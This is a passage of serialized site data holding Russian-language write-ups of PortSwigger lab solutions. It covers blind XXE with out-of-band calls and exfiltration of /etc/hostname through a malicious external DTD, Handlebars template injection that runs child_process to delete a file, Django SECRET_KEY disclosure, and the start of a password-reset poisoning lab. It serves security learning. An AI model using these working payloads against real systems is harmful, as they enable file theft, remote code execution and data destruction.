'file:\u002F\u002F\u002Fetc\u002Fpasswd'>]>\n",[308,10366,10367],{"class":310,"line":104},[308,10368,10369],{},"\u003CstockCheck>\u003CproductId>5&test;\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[41,10371,10374],{"className":10372,"code":10373,"language":46},[44],"\"Entities are not allowed for security reasons\"\n",[48,10375,10373],{"__ignoreMap":50},[36,10377,987],{"id":986},[21,10379,10380],{},"Не пропускает — тогда делаем через parameter entity:",[41,10382,10384],{"className":3129,"code":10383,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE stockCheck [\u003C!ENTITY % xxe SYSTEM \"https:\u002F\u002Fne5p4zgdtmsrz8u7ig29c80bq2w0ku8j.oastify.com\"> %xxe; ]>\n\u003CstockCheck>\u003CproductId>5\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[48,10385,10386,10390,10395],{"__ignoreMap":50},[308,10387,10388],{"class":310,"line":311},[308,10389,10342],{},[308,10391,10392],{"class":310,"line":98},[308,10393,10394],{},"\u003C!DOCTYPE stockCheck [\u003C!ENTITY % xxe SYSTEM \"https:\u002F\u002Fne5p4zgdtmsrz8u7ig29c80bq2w0ku8j.oastify.com\"> %xxe; ]>\n",[308,10396,10397],{"class":310,"line":104},[308,10398,10347],{},[21,10400,96],{},[357,10402,359],{},{"title":50,"searchDepth":98,"depth":98,"links":10404},[10405,10406],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":10407},[10408,10409,10410,10411],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},{"id":986,"depth":104,"text":987},"2026-05-30","General external entities заблокированы, но parameter entity внутри DOCTYPE по-прежнему дёргает Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction-via-xml-parameter-entities",{"title":10295,"description":10413},"notes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction-via-xml-parameter-entities",[117,8896,121],"akNQzUGPv0Ybo1Q1Qdu1DdpYPfA8qf9eGCjbjsSGo1Q",{"id":10421,"title":10422,"author":6,"body":10423,"date":10412,"description":10625,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":10626,"navigation":112,"notes":110,"path":10627,"psTitle":10437,"seo":10628,"stem":10629,"tags":10630,"timeSpent":374,"type":123,"__hash__":10631},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-exfiltrate-data-using-a-malicious-external-dtd.md","Blind XXE: эксфильтрация данных через вредоносный external DTD (PortSwigger Lab)",{"type":8,"value":10424,"toc":10617},[10425,10429,10431,10438,10440,10442,10448,10450,10455,10458,10474,10477,10480,10503,10506,10515,10518,10522,10528,10542,10545,10551,10554,10560,10563,10585,10588,10597,10600,10606,10613,10615],[11,10426,10428],{"id":10427},"blind-xxe-эксфильтрация-данных-через-вредоносный-external-dtd","Blind XXE: эксфильтрация данных через вредоносный external DTD",[16,10430,19],{"id":18},[21,10432,10433,144],{},[24,10434,10437],{"href":10435,"rel":10436},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\u002Fblind\u002Flab-xxe-with-out-of-band-exfiltration",[28],"Exploiting blind XXE to exfiltrate data using a malicious external DTD",[16,10439,34],{"id":33},[36,10441,39],{"id":38},[41,10443,10446],{"className":10444,"code":10445,"language":46},[44],"This lab has a \"Check stock\" feature that parses XML input but does not display the result.\n\nTo solve the lab, exfiltrate the contents of the \u002Fetc\u002Fhostname file.\n",[48,10447,10445],{"__ignoreMap":50},[36,10449,9777],{"id":9776},[21,10451,10452,10453,426],{},"Как обычно — есть функция проверки наличия товара, она использует XML и уязвима к XXE. Однако результат не возвращается в ответе, поэтому нужно использовать external DTD для получения содержимого файла ",[48,10454,6958],{},[21,10456,10457],{},"Что нам потребуется?",[330,10459,10460,10463,10466,10469],{},[333,10461,10462],{},"Exploit-сервер, где мы разместим external DTD.",[333,10464,10465],{},"Payload для external DTD.",[333,10467,10468],{},"Payload для роута получения остатка товара.",[333,10470,10471,10472,426],{},"Exploit-сервер, который примет данные из ",[48,10473,6958],{},[21,10475,10476],{},"1 и 4 нам предоставил PortSwigger.",[21,10478,10479],{},"Payload для external DTD:",[41,10481,10483],{"className":3129,"code":10482,"language":3131,"meta":50,"style":50},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfiltrate SYSTEM 'http:\u002F\u002Fweb-attacker.com\u002F?x=%file;'>\">\n%eval;\n%exfiltrate;\n",[48,10484,10485,10489,10494,10498],{"__ignoreMap":50},[308,10486,10487],{"class":310,"line":311},[308,10488,7904],{},[308,10490,10491],{"class":310,"line":98},[308,10492,10493],{},"\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfiltrate SYSTEM 'http:\u002F\u002Fweb-attacker.com\u002F?x=%file;'>\">\n",[308,10495,10496],{"class":310,"line":104},[308,10497,6573],{},[308,10499,10500],{"class":310,"line":1327},[308,10501,10502],{},"%exfiltrate;\n",[21,10504,10505],{},"Payload для роута:",[41,10507,10509],{"className":3129,"code":10508,"language":3131,"meta":50,"style":50},"\u003C!DOCTYPE foo [\u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fweb-attacker.com\u002Fmalicious.dtd\"> %xxe;]>\n",[48,10510,10511],{"__ignoreMap":50},[308,10512,10513],{"class":310,"line":311},[308,10514,10508],{},[21,10516,10517],{},"Это примерные payload'ы. В процессе разведки добавим в них актуальные адреса.",[36,10519,10521],{"id":10520},"разведка-и-атака","Разведка и атака",[21,10523,10524,10525,215],{},"Находим нужный роут — ",[48,10526,10527],{},"POST \u002Fproduct\u002Fstock",[41,10529,10531],{"className":3129,"code":10530,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003CstockCheck>\u003CproductId>1\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[48,10532,10533,10537],{"__ignoreMap":50},[308,10534,10535],{"class":310,"line":311},[308,10536,10342],{},[308,10538,10539],{"class":310,"line":98},[308,10540,10541],{},"\u003CstockCheck>\u003CproductId>1\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[21,10543,10544],{},"Ок, посмотрим наш exploit-сервер. Адрес для внешнего DTD:",[41,10546,10549],{"className":10547,"code":10548,"language":46},[44],"https:\u002F\u002Fexploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net\u002Fexploit.dtd\n",[48,10550,10548],{"__ignoreMap":50},[21,10552,10553],{},"Думаю, сразу стоит задать ему кодировку:",[41,10555,10558],{"className":10556,"code":10557,"language":46},[44],"Content-Type: text\u002Fxml; charset=utf-8\n",[48,10559,10557],{"__ignoreMap":50},[21,10561,10562],{},"Содержимое будет:",[41,10564,10566],{"className":3129,"code":10565,"language":3131,"meta":50,"style":50},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfiltrate SYSTEM 'https:\u002F\u002Fexploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net?x=%file;'>\">\n%eval;\n%exfiltrate;\n",[48,10567,10568,10572,10577,10581],{"__ignoreMap":50},[308,10569,10570],{"class":310,"line":311},[308,10571,7904],{},[308,10573,10574],{"class":310,"line":98},[308,10575,10576],{},"\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfiltrate SYSTEM 'https:\u002F\u002Fexploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net?x=%file;'>\">\n",[308,10578,10579],{"class":310,"line":104},[308,10580,6573],{},[308,10582,10583],{"class":310,"line":1327},[308,10584,10502],{},[21,10586,10587],{},"Ок, файл готов. Теперь payload для запроса:",[41,10589,10591],{"className":3129,"code":10590,"language":3131,"meta":50,"style":50},"\u003C!DOCTYPE foo [\u003C!ENTITY % xxe SYSTEM \"https:\u002F\u002Fexploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net\u002Fexploit.dtd\"> %xxe;]>\n",[48,10592,10593],{"__ignoreMap":50},[308,10594,10595],{"class":310,"line":311},[308,10596,10590],{},[21,10598,10599],{},"Ммм, похоже получилось:",[41,10601,10604],{"className":10602,"code":10603,"language":46},[44],"10.0.3.6        2026-05-30 07:28:22 +0000 \"GET \u002Fexploit.dtd HTTP\u002F1.1\" 200 \"User-Agent: Java\u002F21.0.1\"\n10.0.3.6        2026-05-30 07:28:22 +0000 \"GET \u002F?x=87fc24e05976 HTTP\u002F1.1\" 200 \"User-Agent: Java\u002F21.0.1\"\n",[48,10605,10603],{"__ignoreMap":50},[21,10607,10608,10609,10612],{},"Имя хоста — ",[48,10610,10611],{},"87fc24e05976",". Сабмитим ответ.",[21,10614,96],{},[357,10616,359],{},{"title":50,"searchDepth":98,"depth":98,"links":10618},[10619,10620],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":10621},[10622,10623,10624],{"id":38,"depth":104,"text":39},{"id":9776,"depth":104,"text":9777},{"id":10520,"depth":104,"text":10521},"Связка из двух parameter entities в external DTD на exploit-сервере вытаскивает \u002Fetc\u002Fhostname обратно через query-параметр.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-exfiltrate-data-using-a-malicious-external-dtd",{"title":10422,"description":10625},"notes\u002Fpentesting\u002Fportswigger\u002Fexploiting-blind-xxe-to-exfiltrate-data-using-a-malicious-external-dtd",[117,8896,121],"WPyCVJXYNeiDW7NcNJQBBHUO0bgAEdIWhXSjmFIs0r8",{"id":10633,"title":10634,"author":6,"body":10635,"date":10716,"description":10717,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":10718,"navigation":112,"notes":110,"path":10719,"psTitle":10649,"seo":10720,"stem":10721,"tags":10722,"timeSpent":10723,"type":123,"__hash__":10724},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction.md","Blind XXE через out-of-band-взаимодействие (PortSwigger Lab)",{"type":8,"value":10636,"toc":10708},[10637,10641,10643,10650,10652,10654,10660,10662,10665,10667,10670,10676,10679,10682,10701,10704,10706],[11,10638,10640],{"id":10639},"blind-xxe-через-out-of-band-взаимодействие","Blind XXE через out-of-band-взаимодействие",[16,10642,19],{"id":18},[21,10644,10645,144],{},[24,10646,10649],{"href":10647,"rel":10648},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\u002Fblind\u002Flab-xxe-with-out-of-band-interaction",[28],"Blind XXE with out-of-band interaction",[16,10651,34],{"id":33},[36,10653,39],{"id":38},[41,10655,10658],{"className":10656,"code":10657,"language":46},[44],"This lab has a \"Check stock\" feature that parses XML input but does not display the result.\n\nYou can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.\n\nTo solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.\n",[48,10659,10657],{"__ignoreMap":50},[36,10661,10324],{"id":10323},[21,10663,10664],{},"Функция проверки наличия товара парсит XML, но не отображает результат в ответе. Стало быть, надо применять технику OOB.",[36,10666,987],{"id":986},[21,10668,10669],{},"Найдём функцию Check stock:",[41,10671,10674],{"className":10672,"code":10673,"language":46},[44],"POST \u002Fproduct\u002Fstock\n",[48,10675,10673],{"__ignoreMap":50},[21,10677,10678],{},"В теле XML.",[21,10680,10681],{},"Ок, попробуем сразу добавить внешнюю сущность и сделаем запрос на сервер Burp Collaborator. Payload:",[41,10683,10685],{"className":3129,"code":10684,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [ \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fl9vnzxbboknpu6p5dex776v9l0ryfo3d.oastify.com\"> ]>\n\u003CstockCheck>\u003CproductId>&xxe;\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[48,10686,10687,10691,10696],{"__ignoreMap":50},[308,10688,10689],{"class":310,"line":311},[308,10690,10342],{},[308,10692,10693],{"class":310,"line":98},[308,10694,10695],{},"\u003C!DOCTYPE foo [ \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fl9vnzxbboknpu6p5dex776v9l0ryfo3d.oastify.com\"> ]>\n",[308,10697,10698],{"class":310,"line":104},[308,10699,10700],{},"\u003CstockCheck>\u003CproductId>&xxe;\u003C\u002FproductId>\u003CstoreId>1\u003C\u002FstoreId>\u003C\u002FstockCheck>\n",[21,10702,10703],{},"Прошло.",[21,10705,96],{},[357,10707,359],{},{"title":50,"searchDepth":98,"depth":98,"links":10709},[10710,10711],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":10712},[10713,10714,10715],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":986,"depth":104,"text":987},"2026-05-29","Парсер XML не возвращает результат, но дёргает DNS\u002FHTTP по внешней сущности — пинг улетает в Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction",{"title":10634,"description":10717},"notes\u002Fpentesting\u002Fportswigger\u002Fblind-xxe-with-out-of-band-interaction",[117,8896,121],"25m","YKeXxnak4-55W87xZVPSYGvppKjU6wsMR9fTbJ1rt8k",{"id":10726,"title":10727,"author":6,"body":10728,"date":10716,"description":10981,"difficulty":10982,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":10983,"navigation":112,"notes":110,"path":10984,"psTitle":10742,"seo":10985,"stem":10986,"tags":10987,"timeSpent":10988,"type":123,"__hash__":10989},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-in-an-unknown-language-with-a-documented-exploit.md","SSTI на неизвестном языке с задокументированным эксплойтом (PortSwigger Lab)",{"type":8,"value":10729,"toc":10972},[10730,10734,10736,10744,10746,10748,10754,10756,10766,10768,10771,10777,10780,10783,10789,10791,10797,10800,10806,10812,10815,10817,10820,10831,10931,10933,10939,10945,10948,10957,10959,10965,10968,10970],[11,10731,10733],{"id":10732},"ssti-на-неизвестном-языке-с-задокументированным-эксплойтом","SSTI на неизвестном языке с задокументированным эксплойтом",[16,10735,19],{"id":18},[21,10737,10738,10743],{},[24,10739,10742],{"href":10740,"rel":10741},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fserver-side-template-injection\u002Fexploiting\u002Flab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit",[28],"Server-side template injection in an unknown language with a documented exploit"," · Expert",[16,10745,34],{"id":33},[36,10747,39],{"id":38},[41,10749,10752],{"className":10750,"code":10751,"language":46},[44],"This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.\n",[48,10753,10751],{"__ignoreMap":50},[36,10755,10324],{"id":10323},[21,10757,10758,10759,10762,10763,426],{},"Есть уязвимый к SSTI сайт. Нам нужно определить движок, найти публичную уязвимость и эксплуатировать её. Удалить файл ",[48,10760,10761],{},"morale.txt"," из домашней директории пользователя ",[48,10764,10765],{},"carlos",[36,10767,683],{"id":682},[21,10769,10770],{},"Потыкаем сайт в поисках пользовательского ввода и попробуем найти SSTI.\nТыкаем на первый товар — и происходит странный редирект.\nПосмотрим в Burp подробнее.",[41,10772,10775],{"className":10773,"code":10774,"language":46},[44],"GET \u002Fproduct?productId=1\n→ 302 Location: \u002F?message=Unfortunately this product is out of stock\n",[48,10776,10774],{"__ignoreMap":50},[21,10778,10779],{},"Сервер принимает пользовательский ввод — сообщение об ошибке.",[21,10781,10782],{},"Попробуем проверить наличие SSTI. Закидываем запрос в Repeater и кидаем polyglot-payload:",[41,10784,10787],{"className":10785,"code":10786,"language":46},[44],"GET \u002F?message=${{\u003C%[%'\"}}%\\\n",[48,10788,10786],{"__ignoreMap":50},[21,10790,3919],{},[41,10792,10795],{"className":10793,"code":10794,"language":46},[44],"Internal Server Error\n\u002Fopt\u002Fnode-v19.8.1-linux-x64\u002Flib\u002Fnode_modules\u002Fhandlebars\u002Fdist\u002Fcjs\u002Fhandlebars\u002Fcompiler\u002Fparser.js:267\n            throw new Error(str);\n            ^\n\nError: Parse error on line 1:\n${{\u003C%[%'\"}}%\\\n---^\nExpecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'\n    at Parser.parseError (\u002Fopt\u002Fnode-v19.8.1-linux-x64\u002Flib\u002Fnode_modules\u002Fhandlebars\u002Fdist\u002Fcjs\u002Fhandlebars\u002Fcompiler\u002Fparser.js:267:19)\n    at Parser.parse (\u002Fopt\u002Fnode-v19.8.1-linux-x64\u002Flib\u002Fnode_modules\u002Fhandlebars\u002Fdist\u002Fcjs\u002Fhandlebars\u002Fcompiler\u002Fparser.js:336:30)\n    at HandlebarsEnvironment.parse (\u002Fopt\u002Fnode-v19.8.1-linux-x64\u002Flib\u002Fnode_modules\u002Fhandlebars\u002Fdist\u002Fcjs\u002Fhandlebars\u002Fcompiler\u002Fbase.js:46:43)\n    ...\nNode.js v19.8.1\n",[48,10796,10794],{"__ignoreMap":50},[21,10798,10799],{},"Точка входа найдена. Более того, мы знаем движок — Handlebars.",[21,10801,10802,10803,426],{},"Почитаем про Handlebars. В доке вижу: можно чекнуть ",[48,10804,10805],{},"{{this}}",[41,10807,10810],{"className":10808,"code":10809,"language":46},[44],"Z{{this}} → Z[object Object]\n",[48,10811,10809],{"__ignoreMap":50},[21,10813,10814],{},"Значит контекст Handlebars виден.",[36,10816,987],{"id":986},[21,10818,10819],{},"Идём смотреть PayloadsAllTheThings. Ничего полезного.",[21,10821,10822,10823,10826,10827,10830],{},"Тогда HackTricks. Находим payload. И сразу вместо ",[48,10824,10825],{},"whoami"," поставим ",[48,10828,10829],{},"pwd",", чтобы получить текущую директорию:",[41,10832,10836],{"className":10833,"code":10834,"language":10835,"meta":50,"style":50},"language-handlebars shiki shiki-themes github-light github-dark","{{#with \"s\" as |string|}}\n  {{#with \"e\"}}\n    {{#with split as |conslist|}}\n      {{this.pop}}\n      {{this.push (lookup string.sub \"constructor\")}}\n      {{this.pop}}\n      {{#with string.split as |codelist|}}\n        {{this.pop}}\n        {{this.push \"return require('child_process').exec('pwd');\"}}\n        {{this.pop}}\n        {{#each conslist}}\n          {{#with (string.sub.apply 0 codelist)}}\n            {{this}}\n          {{\u002Fwith}}\n        {{\u002Feach}}\n      {{\u002Fwith}}\n    {{\u002Fwith}}\n  {{\u002Fwith}}\n{{\u002Fwith}}\n","handlebars",[48,10837,10838,10843,10848,10853,10858,10863,10867,10872,10877,10882,10886,10891,10896,10901,10906,10911,10916,10921,10926],{"__ignoreMap":50},[308,10839,10840],{"class":310,"line":311},[308,10841,10842],{},"{{#with \"s\" as |string|}}\n",[308,10844,10845],{"class":310,"line":98},[308,10846,10847],{},"  {{#with \"e\"}}\n",[308,10849,10850],{"class":310,"line":104},[308,10851,10852],{},"    {{#with split as |conslist|}}\n",[308,10854,10855],{"class":310,"line":1327},[308,10856,10857],{},"      {{this.pop}}\n",[308,10859,10860],{"class":310,"line":1336},[308,10861,10862],{},"      {{this.push (lookup string.sub \"constructor\")}}\n",[308,10864,10865],{"class":310,"line":1349},[308,10866,10857],{},[308,10868,10869],{"class":310,"line":1360},[308,10870,10871],{},"      {{#with string.split as |codelist|}}\n",[308,10873,10874],{"class":310,"line":1366},[308,10875,10876],{},"        {{this.pop}}\n",[308,10878,10879],{"class":310,"line":1452},[308,10880,10881],{},"        {{this.push \"return require('child_process').exec('pwd');\"}}\n",[308,10883,10884],{"class":310,"line":1465},[308,10885,10876],{},[308,10887,10888],{"class":310,"line":1478},[308,10889,10890],{},"        {{#each conslist}}\n",[308,10892,10893],{"class":310,"line":1491},[308,10894,10895],{},"          {{#with (string.sub.apply 0 codelist)}}\n",[308,10897,10898],{"class":310,"line":1502},[308,10899,10900],{},"            {{this}}\n",[308,10902,10903],{"class":310,"line":1507},[308,10904,10905],{},"          {{\u002Fwith}}\n",[308,10907,10908],{"class":310,"line":1515},[308,10909,10910],{},"        {{\u002Feach}}\n",[308,10912,10913],{"class":310,"line":1525},[308,10914,10915],{},"      {{\u002Fwith}}\n",[308,10917,10918],{"class":310,"line":1530},[308,10919,10920],{},"    {{\u002Fwith}}\n",[308,10922,10923],{"class":310,"line":1543},[308,10924,10925],{},"  {{\u002Fwith}}\n",[308,10927,10928],{"class":310,"line":1568},[308,10929,10930],{},"{{\u002Fwith}}\n",[21,10932,3919],{},[41,10934,10937],{"className":10935,"code":10936,"language":46},[44],"e2[object Object]function Function() { [native code] }2[object Object]\u002Fhome\u002Fcarlos\n",[48,10938,10936],{"__ignoreMap":50},[21,10940,10941,10942,426],{},"Окей, тогда команда будет примерно так: ",[48,10943,10944],{},"rm -f \u002Fhome\u002Fcarlos\u002Fmorale.txt",[21,10946,10947],{},"Итоговый payload:",[41,10949,10951],{"className":10833,"code":10950,"language":10835,"meta":50,"style":50},"{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require('child_process').execSync('rm -f \u002Fhome\u002Fcarlos\u002Fmorale.txt').toString();\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{\u002Fwith}}{{\u002Feach}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}{{\u002Fwith}}\n",[48,10952,10953],{"__ignoreMap":50},[308,10954,10955],{"class":310,"line":311},[308,10956,10950],{},[21,10958,3919],{},[41,10960,10963],{"className":10961,"code":10962,"language":46},[44],"e2[object Object]function Function() { [native code] }2[object Object]\n",[48,10964,10962],{"__ignoreMap":50},[21,10966,10967],{},"Файл удалился.",[21,10969,96],{},[357,10971,359],{},{"title":50,"searchDepth":98,"depth":98,"links":10973},[10974,10975],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":10976},[10977,10978,10979,10980],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},{"id":986,"depth":104,"text":987},"Polyglot-payload вскрывает Handlebars в стек-трейсе Node.js, дальше — готовый эксплойт из HackTricks через child_process.execSync.","expert",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-in-an-unknown-language-with-a-documented-exploit",{"title":10727,"description":10981},"notes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-in-an-unknown-language-with-a-documented-exploit",[117,1141,121],"1h 15m","JJOJGlji9dJRtn1paIkVMvCsK3ucwFwW2Jkh2TPBCRo",{"id":10991,"title":10992,"author":6,"body":10993,"date":10716,"description":11087,"difficulty":10982,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":11088,"navigation":112,"notes":110,"path":11089,"psTitle":11007,"seo":11090,"stem":11091,"tags":11092,"timeSpent":265,"type":123,"__hash__":11093},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-with-information-disclosure-via-user-supplied-objects.md","SSTI с утечкой данных через объекты пользователя (PortSwigger Lab)",{"type":8,"value":10994,"toc":11078},[10995,10999,11001,11008,11010,11012,11018,11020,11027,11029,11034,11040,11043,11045,11048,11059,11062,11065,11074,11076],[11,10996,10998],{"id":10997},"ssti-с-утечкой-данных-через-объекты-пользователя","SSTI с утечкой данных через объекты пользователя",[16,11000,19],{"id":18},[21,11002,11003,10743],{},[24,11004,11007],{"href":11005,"rel":11006},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fserver-side-template-injection\u002Fexploiting\u002Flab-server-side-template-injection-with-information-disclosure-via-user-supplied-objects",[28],"Server-side template injection with information disclosure via user-supplied objects",[16,11009,34],{"id":33},[36,11011,39],{"id":38},[41,11013,11016],{"className":11014,"code":11015,"language":46},[44],"This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.\n\nTo solve the lab, steal and submit the framework's secret key.\n\nYou can log in to your own account using the following credentials:\n",[48,11017,11015],{"__ignoreMap":50},[36,11019,10324],{"id":10323},[21,11021,11022,11023,11026],{},"Есть сайт, уязвимый к SSTI. Нам дали пользователя, который, судя по всему, может редактировать шаблоны для движка шаблонизатора. Нам нужно подготовить такой payload, который позволит похитить ",[48,11024,11025],{},"secret key"," фреймворка. И внедрить этот payload в шаблон.",[36,11028,683],{"id":682},[21,11030,11031,11032,426],{},"Залогинимся под юзером, посмотрим что там.\nЗаходим в любой товар — там есть кнопка «edit template».\nТам textarea — давай закинем payload ",[48,11033,746],{},[41,11035,11038],{"className":11036,"code":11037,"language":46},[44],"Traceback (most recent call last):\n  File \"\u003Cstring>\", line 11, in \u003Cmodule>\n  File \"\u002Fusr\u002Flocal\u002Flib\u002Fpython2.7\u002Fdist-packages\u002Fdjango\u002Ftemplate\u002Fbase.py\", line 191, in __init__\n    self.nodelist = self.compile_nodelist()\n  File \"\u002Fusr\u002Flocal\u002Flib\u002Fpython2.7\u002Fdist-packages\u002Fdjango\u002Ftemplate\u002Fbase.py\", line 230, in compile_nodelist\n    return parser.parse()\n  File \"\u002Fusr\u002Flocal\u002Flib\u002Fpython2.7\u002Fdist-packages\u002Fdjango\u002Ftemplate\u002Fbase.py\", line 486, in parse\n    raise self.error(token, e)\ndjango.template.exceptions.TemplateSyntaxError: Could not parse the remainder: '*'7'' from '7*'7''\n",[48,11039,11037],{"__ignoreMap":50},[21,11041,11042],{},"Ага, это Django Template Engine.",[36,11044,987],{"id":986},[21,11046,11047],{},"Идём на PayloadsAllTheThings, находим раздел про Django.\nВ HackTricks, кстати, нет про него инфы.",[41,11049,11053],{"className":11050,"code":11051,"language":11052,"meta":50,"style":50},"language-django shiki shiki-themes github-light github-dark","{{ messages.storages.0.signer.key }}\n","django",[48,11054,11055],{"__ignoreMap":50},[308,11056,11057],{"class":310,"line":311},[308,11058,11051],{},[21,11060,11061],{},"Пусто.",[21,11063,11064],{},"А, payload оказывается проще:",[41,11066,11068],{"className":11050,"code":11067,"language":11052,"meta":50,"style":50},"{{ settings.SECRET_KEY }}\n",[48,11069,11070],{"__ignoreMap":50},[308,11071,11072],{"class":310,"line":311},[308,11073,11067],{},[21,11075,96],{},[357,11077,359],{},{"title":50,"searchDepth":98,"depth":98,"links":11079},[11080,11081],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":11082},[11083,11084,11085,11086],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},{"id":986,"depth":104,"text":987},"Редактор шаблонов раскрывает Django Template Engine через {{7*'7'}}, дальше — settings.SECRET_KEY одной строкой.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-with-information-disclosure-via-user-supplied-objects",{"title":10992,"description":11087},"notes\u002Fpentesting\u002Fportswigger\u002Fserver-side-template-injection-with-information-disclosure-via-user-supplied-objects",[117,1141,121],"95sYYEER6rXC1WbRVUrovQhGnv7gFPJyVxC_rejCAAo",{"id":11095,"title":11096,"author":6,"body":11097,"date":11194,"description":11195,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":11196,"navigation":112,"notes":110,"path":11197,"psTitle":11111,"seo":11198,"stem":11199,"tags":11200,"timeSpent":11202,"type":123,"__hash__":11203},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbasic-password-reset-poisoning.md","Базовое отравление сброса пароля (PortSwigger Lab)",{"type":8,"value":11098,"toc":11186},[11099,11103,11105,11112,11114,11116,11122,11124,11130,11132,11137,11143,11149,11152,11160,11172,11175,11181,11184],[11,11100,11102],{"id":11101},"базовое-отравление-сброса-пароля","Базовое отравление сброса пароля",[16,11104,19],{"id":18},[21,11106,11107,144],{},[24,11108,11111],{"href":11109,"rel":11110},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fhost-header\u002Fexploiting\u002Fpassword-reset-poisoning\u002Flab-host-header-basic-password-reset-poisoning",[28],"Basic password reset poisoning",[16,11113,34],{"id":33},[36,11115,39],{"id":38},[41,11117,11120],{"className":11118,"code":11119,"language":46},[44],"This lab is vulnerable to password reset poisoning. The user `carlos` will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account.\n\nYou can log in to your own account using the following credentials: `wiener:peter`. Any emails sent to this account can be read via the email client on the exploit server.\n",[48,11121,11119],{"__ignoreMap":50},[36,11123,10324],{"id":10323},[21,11125,11126,11127,11129],{},"У PortSwigger есть отдельная заметка «Password reset poisoning». И ещё цикл про «HTTP Host Header attacks». Веб-приложение не знает адрес, на котором оно находится, и поэтому приходится использовать заголовок ",[48,11128,2240],{},", когда нужно, например, сгенерировать полный URL до сервера. Это актуально как раз для функции сброса пароля, где отправляется ресет-ссылка.",[36,11131,683],{"id":682},[21,11133,11134,11135,426],{},"Посмотрим запрос на восстановление пароля и попробуем манипулировать заголовком ",[48,11136,2240],{},[21,11138,11139,11140,11142],{},"Отправим запрос на восстановление для своего пользователя.\nТеперь отправим ещё раз, но заменим заголовок ",[48,11141,2240],{}," на адрес нашего 